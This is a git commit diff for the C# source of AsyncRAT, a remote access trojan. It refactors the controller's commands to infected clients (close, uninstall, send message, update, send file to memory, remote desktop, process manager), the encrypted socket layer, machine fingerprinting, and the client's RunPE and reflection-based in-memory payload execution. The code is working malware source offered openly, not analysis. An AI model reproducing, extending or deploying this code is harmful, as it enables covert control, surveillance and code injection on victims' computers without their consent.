This commit is contained in:
NYAN CAT 2019-03-30 06:51:51 -07:00
parent 4719d0042b
commit 4c441f2c07
12 changed files with 208 additions and 211 deletions

View File

@ -137,24 +137,21 @@ namespace AsyncRAT_Sharp
toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}"; toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}";
} }
private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e) private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "close"; msgpack.ForcePathObject("Packet").AsString = "close";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
});
} }
} }
} }
private async void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e) private void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
@ -167,12 +164,9 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Packet").AsString = "sendMessage"; msgpack.ForcePathObject("Packet").AsString = "sendMessage";
msgpack.ForcePathObject("Message").AsString = Msgbox; msgpack.ForcePathObject("Message").AsString = Msgbox;
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
});
} }
} }
} }
@ -193,13 +187,10 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName); msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
msgpack.ForcePathObject("Update").AsString = "false"; msgpack.ForcePathObject("Update").AsString = "false";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Red; CL.LV.ForeColor = Color.Red;
}); ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
} }
} }
} }
@ -210,7 +201,7 @@ namespace AsyncRAT_Sharp
} }
} }
private async void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e) private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
@ -219,12 +210,9 @@ namespace AsyncRAT_Sharp
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "uninstall"; msgpack.ForcePathObject("Packet").AsString = "uninstall";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
});
} }
} }
catch (Exception ex) catch (Exception ex)
@ -249,13 +237,10 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName); msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
msgpack.ForcePathObject("Update").AsString = "true"; msgpack.ForcePathObject("Update").AsString = "true";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Red; CL.LV.ForeColor = Color.Red;
}); ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
} }
} }
} }
@ -266,7 +251,7 @@ namespace AsyncRAT_Sharp
} }
} }
private async void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e) private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
@ -291,13 +276,10 @@ namespace AsyncRAT_Sharp
} }
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Red; CL.LV.ForeColor = Color.Red;
}); ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
} }
} }
SF.Close(); SF.Close();
@ -309,7 +291,7 @@ namespace AsyncRAT_Sharp
} }
} }
private async void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e) private void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
@ -320,11 +302,9 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "true"; msgpack.ForcePathObject("Option").AsString = "true";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
this.BeginInvoke((MethodInvoker)(() => this.BeginInvoke((MethodInvoker)(() =>
{ {
@ -342,7 +322,6 @@ namespace AsyncRAT_Sharp
RD.Show(); RD.Show();
} }
})); }));
});
} }
} }
catch (Exception ex) catch (Exception ex)
@ -353,7 +332,7 @@ namespace AsyncRAT_Sharp
} }
private async void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e) private void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
{ {
try try
{ {
@ -363,11 +342,9 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Packet").AsString = "processManager";
msgpack.ForcePathObject("Option").AsString = "List"; msgpack.ForcePathObject("Option").AsString = "List";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
this.BeginInvoke((MethodInvoker)(() => this.BeginInvoke((MethodInvoker)(() =>
{ {
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID]; ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
@ -383,7 +360,6 @@ namespace AsyncRAT_Sharp
PM.Show(); PM.Show();
} }
})); }));
});
} }
} }
} }

View File

@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Forms
private void timer1_Tick(object sender, EventArgs e) private void timer1_Tick(object sender, EventArgs e)
{ {
if (!C.Client.Connected) this.Close(); if (!C.ClientSocket.Connected) this.Close();
} }
private async void killToolStripMenuItem_Click(object sender, EventArgs e) private async void killToolStripMenuItem_Click(object sender, EventArgs e)

View File

@ -32,7 +32,7 @@ namespace AsyncRAT_Sharp.Forms
private void timer1_Tick(object sender, EventArgs e) private void timer1_Tick(object sender, EventArgs e)
{ {
if (!C.Client.Connected) this.Close(); if (!C.ClientSocket.Connected) this.Close();
} }
private void RemoteDesktop_Activated(object sender, EventArgs e) private void RemoteDesktop_Activated(object sender, EventArgs e)

View File

@ -31,8 +31,8 @@ namespace AsyncRAT_Sharp.Handle_Packet
{ {
Client.LV = new ListViewItem(); Client.LV = new ListViewItem();
Client.LV.Tag = Client; Client.LV.Tag = Client;
Client.LV.Text = string.Format("{0}:{1}", Client.Client.RemoteEndPoint.ToString().Split(':')[0], Client.Client.LocalEndPoint.ToString().Split(':')[1]); Client.LV.Text = string.Format("{0}:{1}", Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], Client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
string[] ipinf = cNewGeoUse.GetIpInf(Client.Client.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); string[] ipinf = cNewGeoUse.GetIpInf(Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
Client.LV.SubItems.Add(ipinf[1]); Client.LV.SubItems.Add(ipinf[1]);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);

View File

@ -14,92 +14,94 @@ namespace AsyncRAT_Sharp.Sockets
{ {
class Clients class Clients
{ {
public Socket Client { get; set; } public Socket ClientSocket { get; set; }
private byte[] Buffer { get; set; } private byte[] ClientBuffer { get; set; }
private long Buffersize { get; set; } private long ClientBuffersize { get; set; }
private bool BufferRecevied { get; set; } private bool ClientBufferRecevied { get; set; }
private MemoryStream MS { get; set; } private MemoryStream ClientMS { get; set; }
public ListViewItem LV { get; set; } public ListViewItem LV { get; set; }
private object SendSync { get; set; } private object SendSync { get; set; }
private object EndSendSync { get; set; }
public string ID { get; set; } public string ID { get; set; }
public Clients(Socket CLIENT) public Clients(Socket socket)
{ {
if (Settings.Blocked.Contains(CLIENT.RemoteEndPoint.ToString().Split(':')[0])) if (Settings.Blocked.Contains(socket.RemoteEndPoint.ToString().Split(':')[0]))
{ {
Disconnected(); Disconnected();
return; return;
} }
else else
HandleLogs.Addmsg($"Client {CLIENT.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); HandleLogs.Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
Client = CLIENT; ClientSocket = socket;
Buffer = new byte[1]; ClientBuffer = new byte[1];
Buffersize = 0; ClientBuffersize = 0;
BufferRecevied = false; ClientBufferRecevied = false;
MS = new MemoryStream(); ClientMS = new MemoryStream();
LV = null; LV = null;
SendSync = new object(); SendSync = new object();
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); EndSendSync = new object();
ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null);
} }
public async void ReadClientData(IAsyncResult ar) public async void ReadClientData(IAsyncResult ar)
{ {
try try
{ {
if (!Client.Connected) if (!ClientSocket.Connected)
{ {
Disconnected(); Disconnected();
return; return;
} }
else else
{ {
int Recevied = Client.EndReceive(ar); int Recevied = ClientSocket.EndReceive(ar);
if (Recevied > 0) if (Recevied > 0)
{ {
if (BufferRecevied == false) if (ClientBufferRecevied == false)
if (Buffer[0] == 0) if (ClientBuffer[0] == 0)
{ {
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); ClientBuffersize = Convert.ToInt64(Encoding.UTF8.GetString(ClientMS.ToArray()));
MS.Dispose(); ClientMS.Dispose();
MS = new MemoryStream(); ClientMS = new MemoryStream();
if (Buffersize > 0) if (ClientBuffersize > 0)
{ {
Buffer = new byte[Buffersize]; ClientBuffer = new byte[ClientBuffersize];
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
BufferRecevied = true; ClientBufferRecevied = true;
} }
} }
else else
await MS.WriteAsync(Buffer, 0, Buffer.Length); await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length);
else else
{ {
await MS.WriteAsync(Buffer, 0, Recevied); await ClientMS.WriteAsync(ClientBuffer, 0, Recevied);
if (MS.Length == Buffersize) Settings.Received += Recevied;
if (ClientMS.Length == ClientBuffersize)
{ {
try try
{ {
ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(MS.ToArray()), this }); ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(ClientMS.ToArray()), this });
} }
catch (CryptographicException) catch (CryptographicException)
{ {
HandleLogs.Addmsg($"Client {Client.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red); HandleLogs.Addmsg($"Client {ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red);
Settings.Blocked.Add(Client.RemoteEndPoint.ToString().Split(':')[0]); Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
Disconnected(); Disconnected();
return; return;
} }
Settings.Received += MS.ToArray().Length; ClientBuffer = new byte[1];
Buffer = new byte[1]; ClientBuffersize = 0;
Buffersize = 0; ClientMS.Dispose();
MS.Dispose(); ClientMS = new MemoryStream();
MS = new MemoryStream(); ClientBufferRecevied = false;
BufferRecevied = false;
} }
else else
Buffer = new byte[Buffersize - MS.Length]; ClientBuffer = new byte[ClientBuffersize - ClientMS.Length];
} }
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null);
} }
else else
{ {
@ -116,6 +118,9 @@ namespace AsyncRAT_Sharp.Sockets
} }
public void Disconnected() public void Disconnected()
{
try
{ {
if (LV != null) if (LV != null)
{ {
@ -127,11 +132,13 @@ namespace AsyncRAT_Sharp.Sockets
lock (Settings.Online) lock (Settings.Online)
Settings.Online.Remove(this); Settings.Online.Remove(this);
} }
}
catch { }
try try
{ {
MS?.Dispose(); ClientMS?.Dispose();
Client?.Dispose(); ClientSocket?.Dispose();
} }
catch { } catch { }
} }
@ -140,24 +147,25 @@ namespace AsyncRAT_Sharp.Sockets
{ {
lock (SendSync) lock (SendSync)
{ {
if (!Client.Connected) if (ClientSocket == null)
{
Disconnected();
return;
}
if (!ClientSocket.Connected)
{ {
Disconnected(); Disconnected();
return; return;
} }
try try
{
using (MemoryStream MEM = new MemoryStream())
{ {
byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs); byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs);
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0); byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
MEM.Write(buffersize, 0, buffersize.Length);
MEM.Write(buffer, 0, buffer.Length); ClientSocket.Poll(-1, SelectMode.SelectWrite);
Client.Poll(-1, SelectMode.SelectWrite); ClientSocket.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
Client.BeginSend(MEM.ToArray(), 0, (int)MEM.Length, SocketFlags.None, EndSend, null); ClientSocket.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
Settings.Sent += (long)MEM.Length;
}
} }
catch catch
{ {
@ -169,10 +177,15 @@ namespace AsyncRAT_Sharp.Sockets
} }
public void EndSend(IAsyncResult ar) public void EndSend(IAsyncResult ar)
{
lock (EndSendSync)
{ {
try try
{ {
Client.EndSend(ar); int sent = 0;
sent = ClientSocket.EndSend(ar);
Debug.WriteLine("/// Server Sent " + sent.ToString() + " Bytes ///");
Settings.Sent += sent;
} }
catch catch
{ {
@ -182,3 +195,4 @@ namespace AsyncRAT_Sharp.Sockets
} }
} }
} }
}

View File

@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Sockets
SendTimeout = -1, SendTimeout = -1,
}; };
Server.Bind(IpEndPoint); Server.Bind(IpEndPoint);
Server.Listen(20); Server.Listen(30);
HandleLogs.Addmsg($"Listenning {port}", Color.Green); HandleLogs.Addmsg($"Listenning {port}", Color.Green);
Server.BeginAccept(EndAccept, null); Server.BeginAccept(EndAccept, null);
} }

View File

@ -70,7 +70,8 @@
<Compile Include="Handle Packet\HandlePacket.cs" /> <Compile Include="Handle Packet\HandlePacket.cs" />
<Compile Include="Handle Packet\ProcessManager.cs" /> <Compile Include="Handle Packet\ProcessManager.cs" />
<Compile Include="Handle Packet\RemoteDesktop.cs" /> <Compile Include="Handle Packet\RemoteDesktop.cs" />
<Compile Include="Handle Packet\SendFile.cs" /> <Compile Include="Handle Packet\SendToMemory.cs" />
<Compile Include="Helper\Methods.cs" />
<Compile Include="Install\HiddenStartup.cs" /> <Compile Include="Install\HiddenStartup.cs" />
<Compile Include="Install\NormalStartup.cs" /> <Compile Include="Install\NormalStartup.cs" />
<Compile Include="MessagePack\BytesTools.cs" /> <Compile Include="MessagePack\BytesTools.cs" />

View File

@ -54,11 +54,11 @@ namespace Client.Handle_Packet
Thread thread = null; Thread thread = null;
if (Injection.Length == 0) if (Injection.Length == 0)
{ {
thread = new Thread(new ParameterizedThreadStart(SendFile.SendToMemory)); thread = new Thread(new ParameterizedThreadStart(SendToMemory.Reflection));
} }
else else
{ {
thread = new Thread(new ParameterizedThreadStart(SendFile.RunPE)); thread = new Thread(new ParameterizedThreadStart(SendToMemory.RunPE));
} }
thread.Start(parameters); thread.Start(parameters);
} }

View File

@ -5,9 +5,9 @@ using System.Runtime.InteropServices;
namespace Client.Handle_Packet namespace Client.Handle_Packet
{ {
class SendFile class SendToMemory
{ {
public static void SendToMemory(object obj) public static void Reflection(object obj)
{ {
object[] Obj = (object[])obj; object[] Obj = (object[])obj;
byte[] Buffer = (byte[])Obj[0]; byte[] Buffer = (byte[])Obj[0];

View File

@ -0,0 +1,30 @@
using System;
using System.Security.Cryptography;
using System.Text;
namespace Client.Helper
{
static class Methods
{
public static string HWID()
{
StringBuilder sb = new StringBuilder();
sb.Append(Environment.UserDomainName);
sb.Append(Environment.UserName);
sb.Append(Environment.MachineName);
sb.Append(Environment.Version);
return GetHash(sb.ToString());
}
public static string GetHash(string strToHash)
{
MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();
byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
bytesToHash = md5Obj.ComputeHash(bytesToHash);
StringBuilder strResult = new StringBuilder();
foreach (byte b in bytesToHash)
strResult.Append(b.ToString("x2"));
return strResult.ToString().Substring(0, 12).ToUpper();
}
}
}

View File

@ -8,6 +8,7 @@ using System.Text;
using System.Threading; using System.Threading;
using System.Security.Cryptography; using System.Security.Cryptography;
using Client.Handle_Packet; using Client.Handle_Packet;
using Client.Helper;
namespace Client.Sockets namespace Client.Sockets
{ {
@ -22,6 +23,7 @@ namespace Client.Sockets
private static Timer Tick { get; set; } private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; } private static MemoryStream MS { get; set; }
private static object SendSync { get; set; } private static object SendSync { get; set; }
private static object EndSendSync { get; set; }
public static bool Connected { get; set; } public static bool Connected { get; set; }
public static void InitializeClient() public static void InitializeClient()
@ -44,6 +46,7 @@ namespace Client.Sockets
BufferRecevied = false; BufferRecevied = false;
MS = new MemoryStream(); MS = new MemoryStream();
SendSync = new object(); SendSync = new object();
EndSendSync = new object();
BeginSend(SendInfo()); BeginSend(SendInfo());
TimerCallback T = CheckServer; TimerCallback T = CheckServer;
Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000)); Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
@ -52,7 +55,6 @@ namespace Client.Sockets
catch catch
{ {
Debug.WriteLine("Disconnected!"); Debug.WriteLine("Disconnected!");
Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000));
Connected = false; Connected = false;
} }
} }
@ -76,7 +78,7 @@ namespace Client.Sockets
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
msgpack.ForcePathObject("HWID").AsString = HWID(); msgpack.ForcePathObject("HWID").AsString = Methods.HWID();
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
@ -85,28 +87,7 @@ namespace Client.Sockets
return msgpack.Encode2Bytes(); return msgpack.Encode2Bytes();
} }
private static string HWID() public static void ReadServertData(IAsyncResult Iar)
{
StringBuilder sb = new StringBuilder();
sb.Append(Environment.UserDomainName);
sb.Append(Environment.UserName);
sb.Append(Environment.MachineName);
sb.Append(Environment.Version);
return GetHash(sb.ToString());
}
private static string GetHash(string strToHash)
{
MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();
byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
bytesToHash = md5Obj.ComputeHash(bytesToHash);
StringBuilder strResult = new StringBuilder();
foreach (byte b in bytesToHash)
strResult.Append(b.ToString("x2"));
return strResult.ToString().Substring(0, 12).ToUpper();
}
public static void ReadServertData(IAsyncResult ar)
{ {
try try
{ {
@ -116,14 +97,14 @@ namespace Client.Sockets
return; return;
} }
int Recevied = Client.EndReceive(ar); int Recevied = Client.EndReceive(Iar);
if (Recevied > 0) if (Recevied > 0)
{ {
if (BufferRecevied == false) if (BufferRecevied == false)
if (Buffer[0] == 0) if (Buffer[0] == 0)
{ {
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///");
MS.Dispose(); MS.Dispose();
MS = new MemoryStream(); MS = new MemoryStream();
if (Buffersize > 0) if (Buffersize > 0)
@ -168,24 +149,14 @@ namespace Client.Sockets
{ {
lock (SendSync) lock (SendSync)
{ {
if (!Client.Connected)
{
Connected = false;
return;
}
try try
{
using (MemoryStream MS = new MemoryStream())
{ {
byte[] buffer = Settings.aes256.Encrypt(Msg); byte[] buffer = Settings.aes256.Encrypt(Msg);
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0); byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
MS.Write(buffersize, 0, buffersize.Length);
MS.Write(buffer, 0, buffer.Length);
Client.Poll(-1, SelectMode.SelectWrite); Client.Poll(-1, SelectMode.SelectWrite);
Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null); Client.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
} Client.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
} }
catch catch
{ {
@ -196,10 +167,14 @@ namespace Client.Sockets
} }
public static void EndSend(IAsyncResult ar) public static void EndSend(IAsyncResult ar)
{
lock (EndSendSync)
{ {
try try
{ {
Client.EndSend(ar); int sent = 0;
sent = Client.EndSend(ar);
Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///");
} }
catch catch
{ {
@ -207,6 +182,7 @@ namespace Client.Sockets
return; return;
} }
} }
}
public static void CheckServer(object obj) public static void CheckServer(object obj)
{ {